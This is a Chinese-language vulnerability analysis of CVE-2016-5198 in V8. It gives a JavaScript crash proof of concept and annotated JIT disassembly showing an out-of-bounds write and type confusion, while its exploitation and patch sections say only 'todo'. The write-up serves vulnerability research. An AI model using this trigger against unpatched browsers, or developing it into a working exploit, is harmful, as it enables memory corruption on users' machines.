case study:cve-2016-5198

bugs

https://bugs.chromium.org/p/chromium/issues/detail?id=659475
https://chromium.googlesource.com/v8/v8/+/2bd7464ec1efc9eb24a38f7400119a5f2257f6e6

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
function Ctor() {
n = new Set();
}

function Check() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}

for(var i=0; i<2000; ++i) {
Ctor();
}


for(var i=0; i<2000; ++i) {
Check();
}

Ctor();
Check();
print("finish");

crash


JIT Optimized Code

1
2
3
4
5
6
for(var i=0; i<2000; ++i) {
Ctor();
}
for(var i=0; i<2000; ++i) {
Check();
}

可以看到Ctor和Check会被优化

1
parallels@ubuntu:~/v8/v8/out.gn/x64.debug$ ./d8 --print_code test.js > code

Ctor

优化前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
--- Raw source ---
() {
n = new Set();
}


--- Code ---
source_position = 13
kind = FUNCTION
name = Ctor
compiler = full-codegen
Instructions (size = 188)
0x35680eb84d40 0 55 push rbp
0x35680eb84d41 1 4889e5 REX.W movq rbp,rsp
0x35680eb84d44 4 56 push rsi
0x35680eb84d45 5 57 push rdi
0x35680eb84d46 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x35680eb84d4a 10 488b490f REX.W movq rcx,[rcx+0xf]
0x35680eb84d4e 14 83411b01 addl [rcx+0x1b],0x1
0x35680eb84d52 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb84d59 25 7305 jnc 32 (0x35680eb84d60)
0x35680eb84d5b 27 e880dbf5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb84d60 32 48b80000000004000000 REX.W movq rax,0x400000000
0x35680eb84d6a 42 e871f6ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb84d6f 47 50 push rax
0x35680eb84d70 48 33c0 xorl rax,rax
0x35680eb84d72 50 488b3c24 REX.W movq rdi,[rsp]
0x35680eb84d76 54 488b5df0 REX.W movq rbx,[rbp-0x10]
0x35680eb84d7a 58 488b5b2f REX.W movq rbx,[rbx+0x2f]
0x35680eb84d7e 62 488b5b0f REX.W movq rbx,[rbx+0xf]
0x35680eb84d82 66 48ba0000000002000000 REX.W movq rdx,0x200000000
0x35680eb84d8c 76 e84f85f3ff call 0x35680eabd2e0 ;; code: STUB, CallConstructStub, minor: 0
0x35680eb84d91 81 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb84d95 85 488b5627 REX.W movq rdx,[rsi+0x27]
0x35680eb84d99 89 488b521f REX.W movq rdx,[rdx+0x1f]
0x35680eb84d9d 93 48b9d19030abf6000000 REX.W movq rcx,0xf6ab3090d1 ;; object: 0xf6ab3090d1 <String[1]: n>
0x35680eb84da7 103 48bf0000000006000000 REX.W movq rdi,0x600000000
0x35680eb84db1 113 e8aad4f0ff call 0x35680ea92260 ;; code: STORE_IC
0x35680eb84db6 118 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb84dba 122 498b45a0 REX.W movq rax,[r13-0x60]
0x35680eb84dbe 126 48bb79b962be00370000 REX.W movq rbx,0x3700be62b979 ;; object: 0x3700be62b979 Cell for 6144
0x35680eb84dc8 136 83430bd1 addl [rbx+0xb],0xd1
0x35680eb84dcc 140 791f jns 173 (0x35680eb84ded)
0x35680eb84dce 142 50 push rax
0x35680eb84dcf 143 e88cdaf5ff call InterruptCheck (0x35680eae2860) ;; code: BUILTIN
0x35680eb84dd4 148 58 pop rax
0x35680eb84dd5 149 48bb79b962be00370000 REX.W movq rbx,0x3700be62b979 ;; object: 0x3700be62b979 Cell for 6144
0x35680eb84ddf 159 49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb84de9 169 4c895307 REX.W movq [rbx+0x7],r10
0x35680eb84ded 173 c9 leavel
0x35680eb84dee 174 c20800 ret 0x8
0x35680eb84df1 177 0f1f8000000000 nop

优化后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
--- Raw source ---
() {
n = new Set();
}


--- Optimized code ---
optimization_id = 0
source_position = 13
kind = OPTIMIZED_FUNCTION
name = Ctor
stack_slots = 5
compiler = crankshaft
Instructions (size = 218)
0x35680eb868c0 0 55 push rbp
0x35680eb868c1 1 4889e5 REX.W movq rbp,rsp
0x35680eb868c4 4 56 push rsi
0x35680eb868c5 5 57 push rdi
0x35680eb868c6 6 4883ec08 REX.W subq rsp,0x8
0x35680eb868ca 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x35680eb868ce 14 488945e8 REX.W movq [rbp-0x18],rax
0x35680eb868d2 18 488bf0 REX.W movq rsi,rax
0x35680eb868d5 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb868dc 28 7305 jnc 35 (0x35680eb868e3)
0x35680eb868de 30 e8fdbff5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb868e3 35 49bae95b61be00370000 REX.W movq r10,0x3700be615be9 ;; object: 0x3700be615be9 <JS Function Set (SharedFunctionInfo 0xf6ab31cb31)>
0x35680eb868ed 45 4152 push r10
0x35680eb868ef 47 48bae95b61be00370000 REX.W movq rdx,0x3700be615be9 ;; object: 0x3700be615be9 <JS Function Set (SharedFunctionInfo 0xf6ab31cb31)>
0x35680eb868f9 57 48bae95b61be00370000 REX.W movq rdx,0x3700be615be9 ;; object: 0x3700be615be9 <JS Function Set (SharedFunctionInfo 0xf6ab31cb31)>
0x35680eb86903 67 33c0 xorl rax,rax
0x35680eb86905 69 488b75e8 REX.W movq rsi,[rbp-0x18]
0x35680eb86909 73 488bfa REX.W movq rdi,rdx
0x35680eb8690c 76 e8af6bf3ff call Construct (0x35680eabd4c0) ;; code: BUILTIN
0x35680eb86911 81 a801 test al,0x1
0x35680eb86913 83 0f8458000000 jz 177 (0x35680eb86971)
0x35680eb86919 89 49ba0965f05fe10a0000 REX.W movq r10,0xae15ff06509 ;; object: 0xae15ff06509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x35680eb86923 99 4c3950ff REX.W cmpq [rax-0x1],r10
0x35680eb86927 103 0f8549000000 jnz 182 (0x35680eb86976)
0x35680eb8692d 109 48bbc1bd62be00370000 REX.W movq rbx,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b67513e51 <a Set with map 0xae15ff06509>
0x35680eb86937 119 4889430f REX.W movq [rbx+0xf],rax
0x35680eb8693b 123 488d530f REX.W leaq rdx,[rbx+0xf]
0x35680eb8693f 127 48250000f8ff REX.W and rax,0xfffffffffff80000
0x35680eb86945 133 f6400802 testb [rax+0x8],0x2
0x35680eb86949 137 7415 jz 160 (0x35680eb86960)
0x35680eb8694b 139 48c7c00000f8ff REX.W movq rax,0xfff80000
0x35680eb86952 146 4823c3 REX.W andq rax,rbx
0x35680eb86955 149 f6400804 testb [rax+0x8],0x4
0x35680eb86959 153 7405 jz 160 (0x35680eb86960)
0x35680eb8695b 155 e8c0f6ffff call 0x35680eb86020 ;; code: STUB, RecordWriteStub, minor: 8707
0x35680eb86960 160 48b8112330abf6000000 REX.W movq rax,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb8696a 170 488be5 REX.W movq rsp,rbp
0x35680eb8696d 173 5d pop rbp
0x35680eb8696e 174 c20800 ret 0x8
0x35680eb86971 177 e89ed6d7ff call 0x35680e904014 ;; deoptimization bailout 2
0x35680eb86976 182 e8a3d6d7ff call 0x35680e90401e ;; deoptimization bailout 3
0x35680eb8697b 187 90 nop

强调

1
2
3
4
5
6
7
0x35680eb8690c    76  e8af6bf3ff     call Construct  (0x35680eabd4c0)    ;; code: BUILTIN ---->
0x35680eb86911 81 a801 test al,0x1
0x35680eb86913 83 0f8458000000 jz 177 (0x35680eb86971)
0x35680eb86919 89 49ba0965f05fe10a0000 REX.W movq r10,0xae15ff06509 ;; object: 0xae15ff06509 <Map(FAST_HOLEY_SMI_ELEMENTS)>
0x35680eb86923 99 4c3950ff REX.W cmpq [rax-0x1],r10
0x35680eb86927 103 0f8549000000 jnz 182 (0x35680eb86976)
0x35680eb8692d 109 48bbc1bd62be00370000 REX.W movq rbx,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b67513e51 <a Set with map 0xae15ff06509> ---->

Check

优化前

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}


--- Code ---
source_position = 50
kind = FUNCTION
name = Check
compiler = full-codegen
Instructions (size = 220)
0x35680eb86a00 0 55 push rbp
0x35680eb86a01 1 4889e5 REX.W movq rbp,rsp
0x35680eb86a04 4 56 push rsi
0x35680eb86a05 5 57 push rdi
0x35680eb86a06 6 488b4f2f REX.W movq rcx,[rdi+0x2f]
0x35680eb86a0a 10 488b490f REX.W movq rcx,[rcx+0xf]
0x35680eb86a0e 14 83411b01 addl [rcx+0x1b],0x1
0x35680eb86a12 18 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86a19 25 7305 jnc 32 (0x35680eb86a20)
0x35680eb86a1b 27 e8c0bef5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86a20 32 48b80000000002000000 REX.W movq rax,0x200000000
0x35680eb86a2a 42 e8b1d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a2f 47 50 push rax
0x35680eb86a30 48 48b8e9c362be00370000 REX.W movq rax,0x3700be62c3e9 ;; object: 0x3700be62c3e9 <Number: 2.18788e+09>
0x35680eb86a3a 58 5a pop rdx
0x35680eb86a3b 59 48b919b062be00370000 REX.W movq rcx,0x3700be62b019 ;; object: 0x3700be62b019 <String[3]: xyz>
0x35680eb86a45 69 48bf0000000004000000 REX.W movq rdi,0x400000000
0x35680eb86a4f 79 e80cb8f0ff call 0x35680ea92260 ;; code: STORE_IC
0x35680eb86a54 84 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a58 88 48b80000000008000000 REX.W movq rax,0x800000000
0x35680eb86a62 98 e879d9ffff call 0x35680eb843e0 ;; code: LOAD_GLOBAL_IC
0x35680eb86a67 103 50 push rax
0x35680eb86a68 104 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86a72 114 4152 push r10
0x35680eb86a74 116 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86a7e 126 4152 push r10
0x35680eb86a80 128 48ba0000000006000000 REX.W movq rdx,0x600000000
0x35680eb86a8a 138 488b7c2410 REX.W movq rdi,[rsp+0x10]
0x35680eb86a8f 143 b801000000 movl rax,0x1
0x35680eb86a94 148 e8a7ddffff call 0x35680eb84840 ;; code: CALL_IC
0x35680eb86a99 153 488b75f8 REX.W movq rsi,[rbp-0x8]
0x35680eb86a9d 157 4883c408 REX.W addq rsp,0x8
0x35680eb86aa1 161 498b45a0 REX.W movq rax,[r13-0x60]
0x35680eb86aa5 165 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86aaf 175 83430bd1 addl [rbx+0xb],0xd1
0x35680eb86ab3 179 791f jns 212 (0x35680eb86ad4)
0x35680eb86ab5 181 50 push rax
0x35680eb86ab6 182 e8a5bdf5ff call InterruptCheck (0x35680eae2860) ;; code: BUILTIN
0x35680eb86abb 187 58 pop rax
0x35680eb86abc 188 48bbc9c462be00370000 REX.W movq rbx,0x3700be62c4c9 ;; object: 0x3700be62c4c9 Cell for 6144
0x35680eb86ac6 198 49ba0000000000180000 REX.W movq r10,0x180000000000
0x35680eb86ad0 208 4c895307 REX.W movq [rbx+0x7],r10
0x35680eb86ad4 212 c9 leavel
0x35680eb86ad5 213 c20800 ret 0x8

Source positions:
pc offset position
0 50
32 55 statement
32 55
58 61
88 75 statement
88 75
128 75
212 97 statement

Deoptimization Output Data (deopt points = 0)

Back edges (size = 0)
ast_id pc_offset loop_depth

0x3700be62c4f9: [TypeFeedbackInfo]
- ic_total_count: 3, ic_with_type_info_count: 0, ic_generic_count: 0

RelocInfo (size = 12)
0x35680eb86a1c code target (BUILTIN) (0x35680eae28e0)
0x35680eb86a2b code target (LOAD_GLOBAL_IC) (0x35680eb843e0)
0x35680eb86a32 embedded object (0x3700be62c3e9 <Number: 2.18788e+09>)
0x35680eb86a3d embedded object (0x3700be62b019 <String[3]: xyz>)
0x35680eb86a50 code target (STORE_IC) (0x35680ea92260)
0x35680eb86a63 code target (LOAD_GLOBAL_IC) (0x35680eb843e0)
0x35680eb86a6a embedded object (0xf6ab302311 <undefined>)
0x35680eb86a76 embedded object (0x3700be62b039 <String[8]: AAAAAAAA>)
0x35680eb86a95 code target (CALL_IC) (0x35680eb84840)
0x35680eb86aa7 embedded object (0x3700be62c4c9 Cell for 6144)
0x35680eb86ab7 code target (BUILTIN) (0x35680eae2860)
0x35680eb86abe embedded object (0x3700be62c4c9 Cell for 6144)

--- End code ---

优化后

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
--- Raw source ---
() {
n.xyz = 0x826852f4;
parseInt('AAAAAAAA');
}


--- Optimized code ---
optimization_id = 1
source_position = 50
kind = OPTIMIZED_FUNCTION
name = Check
stack_slots = 5
compiler = crankshaft
Instructions (size = 186)
0x35680eb86c80 0 55 push rbp
0x35680eb86c81 1 4889e5 REX.W movq rbp,rsp
0x35680eb86c84 4 56 push rsi
0x35680eb86c85 5 57 push rdi
0x35680eb86c86 6 4883ec08 REX.W subq rsp,0x8
0x35680eb86c8a 10 488b45f8 REX.W movq rax,[rbp-0x8]
0x35680eb86c8e 14 488945e8 REX.W movq [rbp-0x18],rax
0x35680eb86c92 18 488bf0 REX.W movq rsi,rax
0x35680eb86c95 21 493ba5600c0000 REX.W cmpq rsp,[r13+0xc60]
0x35680eb86c9c 28 7305 jnc 35 (0x35680eb86ca3)
0x35680eb86c9e 30 e83dbcf5ff call StackCheck (0x35680eae28e0) ;; code: BUILTIN
0x35680eb86ca3 35 48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1 ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
0x35680eb86cad 45 488b400f REX.W movq rax,[rax+0xf]
0x35680eb86cb1 49 49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb 59 c4c1f96ec2 vmovq xmm0,r10
0x35680eb86cc0 64 488b4007 REX.W movq rax,[rax+0x7]
0x35680eb86cc4 68 488b400f REX.W movq rax,[rax+0xf]
0x35680eb86cc8 72 c5fb114007 vmovsd [rax+0x7],xmm0
0x35680eb86ccd 77 49ba112330abf6000000 REX.W movq r10,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86cd7 87 4152 push r10
0x35680eb86cd9 89 49ba39b062be00370000 REX.W movq r10,0x3700be62b039 ;; object: 0x3700be62b039 <String[8]: AAAAAAAA>
0x35680eb86ce3 99 4152 push r10
0x35680eb86ce5 101 48bf51d860be00370000 REX.W movq rdi,0x3700be60d851 ;; object: 0x3700be60d851 <JS Function parseInt (SharedFunctionInfo 0xf6ab33ce11)>
0x35680eb86cef 111 488b75e8 REX.W movq rsi,[rbp-0x18]
0x35680eb86cf3 115 488b7727 REX.W movq rsi,[rdi+0x27]
0x35680eb86cf7 119 498b55a0 REX.W movq rdx,[r13-0x60]
0x35680eb86cfb 123 b801000000 movl rax,0x1
0x35680eb86d00 128 bb02000000 movl rbx,0x2
0x35680eb86d05 133 e8f6eeefff call ArgumentsAdaptorTrampoline (0x35680ea85c00) ;; code: BUILTIN
0x35680eb86d0a 138 48b8112330abf6000000 REX.W movq rax,0xf6ab302311 ;; object: 0xf6ab302311 <undefined>
0x35680eb86d14 148 488be5 REX.W movq rsp,rbp
0x35680eb86d17 151 5d pop rbp
0x35680eb86d18 152 c20800 ret 0x8
0x35680eb86d1b 155 90 nop

强调

1
2
0x35680eb86ca3    35  48b8c1bd62be00370000 REX.W movq rax,0x3700be62bdc1    ;; object: 0x3700be62bdc1 PropertyCell for 0x18b675545e1 <a Set with map 0xae15ff0c391>
0x35680eb86cad 45 488b400f REX.W movq rax,[rax+0xf]
1
2
3
4
0x35680eb86cb1    49  49ba0000805e0a4de041 REX.W movq r10,0x41e04d0a5e800000
0x35680eb86cbb 59 c4c1f96ec2 vmovq xmm0,r10
0x35680eb86cc0 64 488b4007 REX.W movq rax,[rax+0x7]
0x35680eb86cc4 68 488b400f REX.W movq rax,[rax+0xf]
1
0x35680eb86cc8    72  c5fb114007     vmovsd [rax+0x7],xmm0

总结


optimized code假设object已经有property,然而如果object被改变为没有property,就会OOB。
如图

  • 寻址jsset map
    1
    2
    movq rax,0x3700be62bdc1    ;; object: 0x3700be62bdc1 PropertyCell
    mov rax,[rax+0xf]

  • 寻址property
    1
    mov rax [rax+0x7]

  • 寻址到相邻null string的map
    1
    movq rax,[rax+0xf]

  • oob覆盖type,造成confused

    patch分析

    todo

    利用

    todo

    补充

  • vmovsd
  • xmm
    在 x86-64 中,XMM寄存器用来向函数传递浮点参数及浮点型返回值.